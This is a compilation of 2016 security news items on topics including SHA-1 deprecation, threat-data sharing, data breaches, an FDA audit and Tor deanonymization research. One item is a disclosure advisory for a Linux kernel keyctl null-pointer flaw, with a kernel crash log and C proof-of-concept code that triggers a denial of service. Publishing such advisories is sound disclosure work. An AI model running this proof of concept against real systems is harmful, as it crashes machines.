Roberto Martinez

The number one challenge for security leaders today is reducing average incident response and resolution times.” — IBM IBV Cognitive Security Report

In November, IBM’s Institute for Business Value (IBV) released a report titled “Cybersecurity in the Cognitive Era: Priming Your Digital Immune System.” The report provides insights gleaned from a study of over 700 security leaders from across the globe and seeks to uncover the security challenges organizations face, all while shedding light on how to address them. The study also evaluated the impact of cognitive security solutions and gauged the industry’s current level of readiness for the oncoming cognitive era.

The study identified three main gaps that cognitive solutions might fill to improve an organization’s security posture: a speed gap to significantly improve incident response times, an intelligence gap to improve detection and incident response decision-making capabilities, and an accuracy gap to provide increased confidence to discriminate between events and true incidents.

A Short Primer on Cognitive Security

“Cognitive computing has the ability to tap into and make sense of security data that has previously been dark to an organization’s defenses, enabling security analysts to gain new insights and respond to threats with greater confidence at scale and speed,” wrote Marc van Zadelhoff in a previous article.

According to an IBM cognitive security white paper, this type of security is “characterized by technology that is able to understand, reason and learn.” In short, it is about analyzing security trends, distilling enormous volumes of data into information and further refining it into knowledge that can be turned into action.

The Incident Response Speed Gap

Respondents to the IBV study identified the speed gap as the top security challenge. Forty-five percent ranked reducing average incident response and resolution time as the top challenge today, and 53 percent identified the same area as the top challenge for the next two to three years.

45% (today) and 53% (next 2-3 years) say reducing average incident response time is the top challenge

This is somewhat surprising given the fact that 80 percent of the survey participants indicated that their incident response speeds have improved by an average of 16 percent in the past two years. Additionally, 37 percent believe that cognitive security solutions will significantly improve this response time.

Reading between the lines, security leaders have been pushing their teams to improve incident reaction times, but they also realized that the current level of improvements are inadequate to keep up with the ever-increasing pace of attacks. For that 37 percent of security leaders, cognitive security offers a ray of hope.

A Skills Gap Too?

It’s no secret that the cybersecurity field faces a skills gap of enormous proportions. In fact, Forbes estimated that the skills gap has reached 209,000 unfilled positions in the U.S. Additionally, a Cisco report tallied 1 million unfilled positions worldwide, a situation that’s unlikely to change anytime soon given the large volume of senior and highly seasoned security professionals preparing to retire and the relatively small investment in recruiting bright young minds into cybersecurity education and, eventually, cybersecurity careers.

The good news is that cognitive security solutions can help maximize the current workforce by reducing the amount of time before an anomaly is detected. They can provide better context and background information to those tasked with analyzing incidents.

Superhuman Capabilities

According to the IBM Cognitive Security white paper, “a cognitive system comprehends and processes new information at a speed that far surpasses any human.” It also noted that “cognitive computing is driving transformational change by harnessing not just data, but meaning, knowledge, process flows and progression of activity at a lightning-fast speed and scope.”

The prospect of turning over more of our incident response processes to machines might bring chills to those tasked with responding to incidents and analyzing their severity and impact. However, the goal isn’t to replace humans, but to supplement their capabilities, much like an exosuit turns a human into a superhuman. Cognitive security solutions can accomplish in minutes what would take human analysts hours or even days.

Cognitive technology is still in its infancy. Those who get there first, however, will likely reap a significant competitive advantage over those who take a wait-and-see approach. As the saying goes, you don’t have to run faster than the bear — you just have to run faster than the guy behind you. Can your business truly afford to take a wait-and-see approach?

Read the full IBM Report: Priming your digital immune system

Security Intelligence

The long-awaited SHA-1 deprecation deadline of Jan. 1, 2017, is almost here. At that point, we’ll all be expected to use SHA-2 instead. So the question is: What is your browser going to do when it encounters a SHA-1 signed digital certificate?

We’ll delve into the answers in a minute. But first, let’s review what the move from SHA-1 to SHA-2 is all about.

[ Safeguard your browsers; InfoWorld's experts tell you how in the "Web Browser Security Deep Dive" PDF guide. | Cut to the key news in technology trends and IT breakthroughs with the InfoWorld Daily newsletter, our summary of the top tech happenings. ]

Getting from SHA-1 to SHA-2

SHA-1 is a cryptographic hash officially recommended by NIST. It’s used to verify digital content, as well as digital certificates and certificate revocation lists (CRLs). Whenever a PKI certification authority (CA) issues a certificate or CRL, it signs it with a hash to assist “consuming” applications and devices with trust verification. 

In January 2011, SHA-2 became the new, recommended, stronger hashing standard. SHA-2 is often called “the SHA-2 family of hashes” because it contains hashes of many different lengths, including 224-bit, 256-bit, 384-bit, and 512-bit digests. The most popular one is 256 bits by a large margin.

Who declared Jan. 1, 2017 the drop-dead date for SHA-1? Three of the top browser vendors and dozens of other software vendors. They belong to a vendor consortium called the CA Browser Forum, which publishes requirements for public CAs in its frequently updated Baseline Requirements document.

The CA Browser forum’s SHA-1 deprecation requirements apply to all but two types of certificates (covered below), although some browser vendors care only about web server certificates. Per the CA Browser forum, no public CA is allowed to issue SHA-1-signed certificates after Jan. 1, 2016, for certificates that expire after Dec. 31, 2016, although in some browsers, any SHA-1 certificate expiring after Dec. 31, 2017, is flagged, regardless of when it was issued.

The CA Browser Forum specifically excludes root CA server certificates and cross CA certificates from the SHA-1 deprecation requirements. This means you do not have to worry about your root CA’s certificate, although you probably need to worry about how it signs subordinate CA certificates and CRLs.

Your browser’s reaction

Some major browser vendors have been issuing warnings and error messages for two years. Today, some browsers put an X through the HTTPS indicator (Google Chrome), don’t display the lock icon (Microsoft Edge and Internet Explorer), or simply remove the HTTPS portion of the URL (Apple Safari).

Some browsers, such as Firefox, don’t show any indication when consuming an SHA-1 certificate; others may or may not depending on whether you're using a PC or mobile version of the browser. In some cases, the protection given by the SHA-1 TLS certificate is still active even though the browser appears to indicate that it is not (for example, Chrome, Edge, or Internet Explorer).

SHA-1 deprecation in the major browsers

Apple did not respond to requests for information about SHA-1 deprecation in Safari. Maxthon said it would follow Google’s schedule for Chrome, but provided no further details.
Browser Full enforcement date Certs included Evaluated for deprecation GUI indication of SHA-1 cert
Google Chrome End January 2017 Not yet verified by vendor Public and private chains are evaluated by default, but manual private exceptions can be made until 2019 Red slash through HTTPS in desktop version; red error triangle in mobile version; Fatal Network Error after Jan. 1, 2017
Microsoft Edge and IE Feb. 14, 2017 Server Auth OID only Public chains only until 2020 unless additional SHA-1 breaks occur No lock icon; untrusted message after Feb. 14, 2017
Mozilla Firefox January 2017 Server Auth and Netscape Step-Up OIDs Public and private chains are evaluated by default, but manual private exceptions can be made No error message until January 2017; then Untrusted Connection error
Opera End January 2017 Not yet verified by vendor Public and private chains are evaluated by default, but manual private exceptions can be made until 2019 Desktop version shows errors on SHA-1 certs, but mobile version does not

Certificate types and deprecation evaluation

What certificate types will be evaluated for SHA-1 deprecation? It depends on the browser. 

The CA Browser forum says all certificates will be evaluated except for root CA server and cross-CA certificates. But I have seen browsers that popped up an error message on SHA-1 root CA certificates when they were acting as an “intermediate” root CA in a three- or four-tier PKI hierarchy and on cross-CA certificates.

Microsoft will only evaluate certificates that originate from a PKI chain registered in the Microsoft Trusted Root program. Certificates originating from a PKI chain registered in the Microsoft Trusted Root program will be evaluated only if they contain the Server Authentication OID. This is an important point because some TLS certificates may contain the Client Authentication or Workstation Authentication OIDs only. (See Microsoft’s SHA-1 deprecation policy.)

Other browser vendors say they will inspect “all” certificates for SHA-1 deprecation, but in practice this always excludes the root CA server certificates and may technically mean only web server or Server Authentication OID certificates. I’ve had a hard time nailing down browser vendors on exactly which certificates they will include in deprecation-checking. Mozilla did confirm it also checks for the deprecated Netscape Step-Up OID.

Mozilla Firefox, Google Chrome, and Opera browsers will check both public and private certificates by default, although you can manually register private PKI chains (sometimes called enterprise chains) to be excluded from SHA-1 deprecation checking. You can find Mozilla’s latest SHA-1 deprecation statement here; Google’s can be found here.

As of Jan. 1, 2017, “full” SHA-1 deprecation enforcement is supposed to happen, although Microsoft will actually begin full enforcement on Feb. 14, 2017 (the second Patch Tuesday of the year). Mozilla says it will begin full enforcement in January 2017, with no specific date, whereas Google (and Opera) will begin full enforcement by the end of January 2017.

All browsers will eventually evaluate all certificates, public or private, with no exceptions allowed, although this is will probably be many years out. Expect any new improvement in SHA-1 cracking to speed up timelines and incur policy updates.

To comment on this article and other InfoWorld content, visit InfoWorld's LinkedIn page, Facebook page and Twitter stream.

InfoWorld Security Adviser

There is little question that the perpetrators of cyberthreats spend little time thinking inside the box — that’s how they stay ahead of their victims. It’s time for some out-of-the-box thinking of our own to get serious about fighting back. It’s time for the democratization of cybersecurity data.

Here is the challenge to users, organizations and security vendors alike: First, we should aggressively democratize the threat data we all have and share it securely yet freely with each other. Second, we should pivot a full 180 degrees from the accepted practice of automatically classifying, by default, all cyberthreat data. Instead, we should declassify threat data by default. Hence, the democratization of cybersecurity data.

Thinking Outside the Box

Cybercrime information sharing is nothing new. Unfortunately, the wrong people have been doing the sharing, and they have elevated the practice to a commercial art form. Cooperating and collaborating on the Dark Web, the most sophisticated cybercriminals build and peddle attack software to each other. They even have seller ratings and rankings for their malware, with the most effective earning five stars. They offer gold, silver and bronze levels of service — even money-back guarantees if the malicious efforts fail.

With thieves as organized and sophisticated as they are, it is a small wonder that estimates of their annual take in illegal profits total $ 455 billion These aren’t amateurs. The United Nations estimated that highly organized, well-funded criminal gangs account for 80 percent of breaches today.

For these and so many other good reasons, the time is now for businesses, governments and other organizations to elevate cyberthreat information sharing to entirely new levels. The public sector has initiated steps in this direction. Last year the U.S. passed the Cyber Information Security Act (CISA). Its goal is to help organizations share cyberthreat information and actual attack data anonymously and without fear of liability.

Democratization of Cybersecurity Data Dents Cybercrime

There are massive collections of cybercrime data largely kept under lock and key in individual organizations. Security vendors, including IBM, typically have the largest repositories.

Why has it been kept secret? Both security vendors and businesses tend hold onto this data for its perceived competitive value. It is valuable to some extent, but the potential gains of having that much threat data and information can be an even more formidable competitive weapon. After all, it isn’t possessing the data that yields an advantage; it’s what each organization or vendor does with it.

This kind of sharing is not new in our business. The whole open source movement that gave us Linux, OpenStack, Hadoop, Spark and so much more resulted from aggressive information sharing. It can be the same with cyberthreat data. Large-scale sharing of threat data will signal a new high water mark in fighting cybercrime.

We are walking the walk at IBM, recognizing that we were as much a part of the problem as any other business or organization. That is why IBM published all of its actionable, third-party global threat data — all 700 terabytes of it. This includes real-time indicators of live attacks.

We believe the free consumption and sharing of real-time threat data from our repository can put a sizable dent in cybercrime efforts. Think of what else we can accomplish with the democratization of cybersecurity data.

Information Sharing at the Speed of Business

As mentioned earlier, sharing is only one part of the out-of-the-box thinking we need to adopt. We have to share this information as soon as possible, not weeks or months after a major breach.

The default action today is to immediately classify such information, rendering it unshareable until it is eventually declassified. Instead, put a timeline on classification of new threat data — maybe 48 or 72 hours, no more. If no valid, justifiable case is made for continued classification within that period, release it to be shared among other organizations. The aforementioned CISA spells out methods for doing this securely so the information doesn’t fall into the wrong hands.

We must abandon the Cold War mentality that leads us to classify all information and share nothing. We are all engaged in a very hot war with cybercriminals. Speed matters when it comes to using relevant data to stop active attacks and thwart future threats. Information sharing at the speed of business can be a formidable weapon — we just need to unleash it.

Learn more about staying ahead of threats with global threat intelligence and automated protection

Security Intelligence

The Defense Department and broader US government intelligence community have urged President Barack Obama to fire National Security Agency chief Admiral Michael Rogers, US media reported Saturday.

The reports came even as President-elect Donald Trump, currently in New York, was said to be considering Rogers as director of national intelligence himself.

"The recommendation, delivered to the White House last month, was made by Defense Secretary Ashton B. Carter and Director of National Intelligence James R. Clapper Jr.," The Washington Post reported citing multiple US officials familiar with the case.

Action has been delayed, the paper said, since removing Rogers is linked to pending creation of "separate chains of command at the NSA and the military’s cyberwarfare unit, a recommendation by Clapper and Carter that has been stalled because of other issues."

If selected by Trump, Rogers would succeed Clapper as the official who oversees all 17 US intelligence services.

"In a move apparently unprecedented for a military officer, Rogers, without notifying superiors, traveled to New York to meet with Trump on Thursday at Trump Tower," the Post said. "That caused consternation at senior levels of the administration.".

The New York Times on Saturday confirmed that Rogers' position in the Obama administration was in potential jeopardy.

"Obama is considering removing Admiral Michael S. Rogers from his posts as leader of the National Security Agency and United States Cyber Command after top officials expressed frustration over the speed at which Admiral Rogers had moved to combat the Islamic State and over the agency’s repeated loss of closely guarded secrets," the Times said citing unnamed administration and intelligence officials.

Earlier, Trump, who spent his first weekend outside Manhattan since his election, met for about 90 minutes with moderate US Republican Mitt Romney, known for his harsh criticism of the president-elect during the campaign.

Romney is believed to be interested in the US secretary of state position. There was no official word on whether he was offered the job.

Romney would bring a more orthodox Republican worldview to foreign policy. He described Russia in 2012 as the main American geopolitical threat -- a sharp contrast to Trump, who has exchanged compliments with Russian President Vladimir Putin.

Related: U.S. Intelligence Chief James Clapper Resigns

view counter

© AFP 2016


SecurityWeek RSS Feed

Original release date: November 18, 2016

Symantec has released security updates to address a vulnerability in Norton and Symantec enterprise products. Exploitation of this vulnerability may allow an attacker to take control of an affected system.

Users and administrators are encouraged to review Symantec Security Advisory SYM16-021 and apply the necessary updates.

This product is provided subject to this Notification and this Privacy & Use policy.

Was this document helpful?  Yes  |  Somewhat  |  No

US-CERT Current Activity

Computer hackers have broken into a database of Three Mobile customers and accessed their personal details in order to steal smartphones, the UK network said on Thursday.

A spokesman for the company said there had been an uptick in attempted phone fraud over the past four weeks, both through burglaries of Three retail stores and intercepting customer phone upgrades.

"In order to commit this type of upgrade handset fraud, the perpetrators used authorised logins to Three's upgrade system.

"This upgrade system does not include any customer payment, card information or bank account information," the spokesman said.

Three Mobile Cyber Attack and Data BreachPersonal details including names and addresses were accessed and are believed to have been used by fraudsters to order the phone upgrades, which were sent to eight customers and intercepted.

A probe is currently underway to determine how many more of the company's nine million customers have had their data breached, while the eight known clients have been contacted by Three.

A source close to the matter was quoted by The Telegraph as saying the private information of two thirds of Three customers could be at risk.

"The investigation is ongoing and we have taken a number of steps to further strengthen our controls," said the company spokesman.

Three people were arrested on Wednesday in connection to the fraud and have since been bailed.

A 48-year-old man from Kent, south-east England, and a 39-year-old man from Manchester, north-west England, were arrested on suspicions of computer misuse offences.

A 35-year-old man also from Manchester was arrested on suspicion of attempting to pervert the course of justice.

Related: TalkTalk Handed Record Fine for Data Breach

Related: Information Commissioner Talks Privacy Laws in Post-Brexit UK

view counter

© AFP 2016


SecurityWeek RSS Feed

OS-S Security Advisory 2016-21
Local DoS: Linux Kernel Nullpointer Dereference via keyctl

October 31th, 2016
Sergej Schumilo, Ralf Spenneberg, Hendrik Schwartke
Not yet assigned
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Potentially critical. If the kernel is compiled with the option
aPanic-On-Oopsa, this vulnerability may lead to a kernel panic.
Ease of Exploitation:
Vulnerability Type:
Local unprivileged kernel nullpointer dereference

A malicious interaction with the keyctl usermode interface allows an
attacker to crash the kernel. Processing the attached certificate by the
kernel leads to a kernel nullpointer dereference. This vulnerably can be
triggered by any unprivileged user locally.

Detailed product description:
We have verified the bug on the following kernel builds:
Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on June, 06th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible
disclosure policy.


Proof of Concept:
As a proof of concept, we are providing a sample exploit program and the
associated certificate.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited by an unprivileged user using
our proof of concept.

[ 40.067569] BUG: unable to handle kernel NULL pointer dereference at
[ 40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[ 40.068710] PGD c853067 PUD 186bd067 PMD 0
[ 40.069090] Oops: 0002 [#1] KASAN
[ 40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE)
mbcache(OE) jbd2(OE)
[ 40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G
OE 4.4.0 #158
[ 40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.8.2-0-g33fbe13 by 04/01/2014
[ 40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti:
[ 40.072117] RIP: 0010:[<ffffffff81341911>] [<ffffffff81341911>]
[ 40.072743] RSP: 0018:ffff88000c887bf0 EFLAGS: 00010246
[ 40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX:
[ 40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI:
[ 40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09:
[ 40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12:
[ 40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15:
[ 40.076174] FS: 0000000000911880(0063) GS:ffffffff81c2f000(0000)
[ 40.076815] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4:
[ 40.077850] Stack:
[ 40.078018] 0000000000000001 ffffea0000321000 0000000000000000
[ 40.078646] ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6
[ 40.079286] 1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e
[ 40.079925] Call Trace:
[ 40.080129] [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[ 40.080642] [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[ 40.081139] [<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
[ 40.081582] [<ffffffff81342320>] ? mpi_alloc+0x20/0x80
[ 40.082006] [<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
[ 40.082512] [<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
[ 40.083001] [<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
[ 40.083507] [<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
[ 40.084043] [<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
[ 40.084531] [<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
[ 40.085014] [<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
[ 40.085534] [<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
[ 40.086981] [<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
[ 40.087437] [<ffffffff8126ba67>] key_create_or_update+0x137/0x450
[ 40.087942] [<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
[ 40.088381] [<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
[ 40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04
44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f 84 da 07 00 00 45 85 f6 75 38
89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
[ 40.091203] RIP [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[ 40.091645] RSP <ffff88000c887bf0>
[ 40.091924] CR2: 0000000000000000
[ 40.092207] ---[ end trace 3d4c5681d47247c7 ]---
[ 40.092566] Kernel panic - not syncing: Fatal exception
[ 40.092968] Kernel Offset: disabled
[ 40.093242] Rebooting in 1 seconds..

Proof of Concept (Code):
* base64 -d < certificate.base64 > test.crt
* gcc test.crt -lkeyutils
* ./a.out

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/mount.h>
#include <errno.h>
#include <signal.h>
#include <keyutils.h>

int main(){
FILE *infile;
char *buffer;
long numbytes;

key_serial_t key_id;
key_serial_t keyring_id;

infile = fopen("test.crt", "r");
if(infile == NULL)
return 1;

fseek(infile, 0L, SEEK_END);
numbytes = ftell(infile);

fseek(infile, 0L, SEEK_SET);

buffer = (char*)calloc(numbytes, sizeof(char));

if(buffer == NULL)
return 1;

fread(buffer, sizeof(char), numbytes, infile);

/* inject fuzzed x509 DER data into asymmetric crypto kernel code */
key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);

if(key_id != -1)
keyctl_unlink(key_id, 0xfffffffd);


return 0;

Proof of Concept (Certificate):
OpenSource Training Ralf Spenneberg
Am Bahnhof 3-5 48565 Steinfurt Germany
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757

Exploit Files ≈ Packet Storm

A report made available this week by the U.S. Government Accountability Office (GAO) shows that the Food and Drug Administration (FDA) needs to address some serious cybersecurity weaknesses that expose industry and public health data.

An audit conducted by the GAO between February 2015 and August 2016 revealed several problems that put the confidentiality, integrity, and availability of the FDA’s systems at risk.

The GAO’s analysis targeted seven of the FDA’s 80 systems. The machines covered by the audit receive and process sensitive drug information and are essential to the agency’s mission. Since they have a Federal Information Processing Standard of moderate or high impact, if the systems or their information is compromised, it could have a serious or catastrophic impact on the organization.

A total of 87 weaknesses have been identified by GAO, including failure to protect network boundaries, identify and authenticate users, restrict user permissions, encrypt sensitive data, monitor system activity, and conduct physical security reviews.

For instance, the FDA’s internal network was not isolated from the network of the contractor in charge of the agency’s public website. The internal network was also accessible from one of the organization’s untrusted networks.

Another example refers to the FDA’s failure to implement strong password controls, including passwords that remained unchanged for several years, weak credentials and default settings.

As for authorization-related concerns, the GAO discovered that hundreds and even thousands of user accounts had unnecessary or uncontrolled access to file shares. The audit also revealed that sensitive data, including passwords, were not properly encrypted.

The FDA did not properly audit and monitor its systems, which could allow malicious actors to remain undetected for extended periods of time. The GAO pointed out that the agency did not always retain audit logs, and it failed to preserve evidence related to a 2013 security breach that resulted in an external attacker gaining access to sensitive user account information.

“FDA has taken steps to safeguard its systems that receive, process, and maintain sensitive data by, for example, implementing policies and procedures for controlling access to and securely configuring those systems. However, a significant number of weaknesses remain in technical controls — including access controls, change controls, and patch management — that jeopardize the confidentiality, integrity, and availability of its systems,” the GAO said in its report.

One of the causes of weak security controls, according to the GAO, is the lack of a properly implemented agency-wide information security program as required by federal laws. These laws require government organizations to implement risk assessments, incident response procedures, regular testing of security controls, reviews and updates for security policies and procedures, vulnerability patching mechanisms, and security training.

The GAO has made over a dozen recommendations for the implementation of an agency-wide information security program and 166 recommendations on addressing specific problems.

Related: Huge US Facial Recognition Database Flawed

Related: DHS's Einstein Security System Has Limited Capabilities

Related: Internet Connectivity Could Expose Aircraft Systems to Cyberattacks

view counter

Previous Columns by Eduard Kovacs:


SecurityWeek RSS Feed

A group of researchers from Princeton University, Karlstad University and KTH Royal Institute of Technology have devised two new correlation attacks that can be leveraged to deanonymize Tor users.

Collectively dubbed DefecTor, the attacks improve the efficacy of existing website fingerprinting attacks through the attacker’s ability to observe DNS traffic from Tor exit relays. The attacks offer great-to-perfect results – the latter mostly when identifying visitors to infrequently visited sites.

DefecTor: DNS-enhanced correlation attacks against Tor users

“It is well understood that low-latency anonymity networks such as Tor cannot protect against so-called global passive adversaries [i.e. those that can monitor both network traffic that enters and exits the network],” says Phillip Winter, a postdoctoral researcher in computer science at Princeton University and one of the group behind this latest research.

DefecTor attacks, on the other hand, can be leveraged by “semi-global” adversaries.

One of the most notable ones is Google, as it operates public DNS servers that observe almost 40% of all DNS requests exiting the Tor network.

“Additionally, Google can monitor some network traffic that is entering the Tor network: for example, via Google Fiber, via guard relays that are occasionally run in Google’s cloud, and formerly via meek app engine, which is now defunct,” Winter explains.

The researchers also found that DNS requests often traverse autonomous systems that the TCP connections made via Tor don’t transit, and this enables them to gain information about Tor users’ traffic.

While Tor developers are already working on implementing techniques to make website fingerprinting attacks harder to execute, there are other actions that can be taken to prevent DefecTor attacks, such as Tor relay operators ensuring that the network maintains more diversity into how exit relays resolve DNS domains.

The researchers added that their paper has yet to be peer reviewed, but if you’re interested in replicating their research, they have provided code, data, and replication instructions here.

Help Net Security

Five hackers are said to be behind breaches totalling up to a staggering three billion credentials from some of the world's biggest tech companies including the Yahoo! breach that led to the loss of 500 million credentials.

The claims, made to The Reg by recognised threat intelligence boffin Andrew Komarov, pin the world's largest hacks on "Group E", a small Eastern European hacking outfit that makes cash breaching companies and selling to buyers including nation states.

Komarov told The Register the group is behind a laundry list of hacks against massive household tech companies including the breach of Yahoo!, Dropbox, LinkedIn, Tumblr, and among other public breaches.

The analyst says the same hacking group has breached other major tech firms but would not be drawn on revealing the names of the affected companies nor the number of compromised credentials. Komarov has reported those breaches which are not on the public record to police.

He goes further and says much of the reporting concerning the Yahoo! breach was inaccurate, and suggests the number of affected credentials could be as high as one billion, double what was reported.

Group E had, according to Komarov, breached Yahoo! and sold the massive data haul through a recognised hacker identity who served as a broker.

It was then sold to a unnamed nation-state actor group.

Komarov's employer InfoArmor says it performed "extensive analysis of collected intelligence" from the Yahoo! hack from different sources to "clarify the motivation and attribution of the key threat actors" concluding "many recent press reports and published articles have significant inaccuracies".

Yahoo! last week pinned the breach on a unnamed state actor but did not say if, as Komarov claims, that the group bought the credentials from Group E which conducted the intrusion.

The company did not respond to a request for comment by the time of publication.

Hacking gangs Group E, For Hell, and broker Tessa88. Mind map by Andrew Komarov.

Hacking gangs Group E, For Hell, and broker Tessa88. Mind map by Andrew Komarov.

Komarov tells The Register Group E, so called after the first letter of its leader's moniker, broke into sites using a variety of attack vectors.

"Web apps vulnerabilities and exploitation, plus network intrusion through infection … [and] direct access to databases and source code," Komarov says.

Sites breached by the five-person Group E hacker outfit. Statistics via Andrew Komarov

Breach company Number of records
Yahoo! 500 million (up to 1bn)
Myspace 360 million
LinkedIn 167 million 137 million 133 million
Badoo 126 million
Dropbox 103 million 101 million
Tumblr 50 million
LastFM 43 million 40 million 6 million
Other combined dumps: 600 million

A second group known as "For Hell" used the same broker to sell stolen databases and masterminded other high profile breaches. Komarov says one member known as ROR[RG}) hacked Ashley Madison, Adult Friend Finder, and the Turkish National Police, while a second team mate known as "arnie" or "darkoverlord" conducted breaches of unnamed health care organisations.

Komarov, an established threat intelligence man formerly of Intelcrawler before its acquisition by Arizona-based security firm InfoArmor, is one of a handful of cybercrime intelligence analysts who closely monitor closed crime forums and dark web sites.

He fingers a Russian-speaking criminal hacking identity known as Tessa88 as the broker used by the two hacking groups.

That broker is claimed by hackers including some speaking to Vulture South to be a part-time scammer for selling bogus credentials, although the claims cannot be verified. Komarov says Tessa88 was at pains to mask the identity of the hacking groups when selling the Yahoo! credentials to the nation-state actors.

Sponsored: IBM FlashSystem V9000 product guide

The Register - Security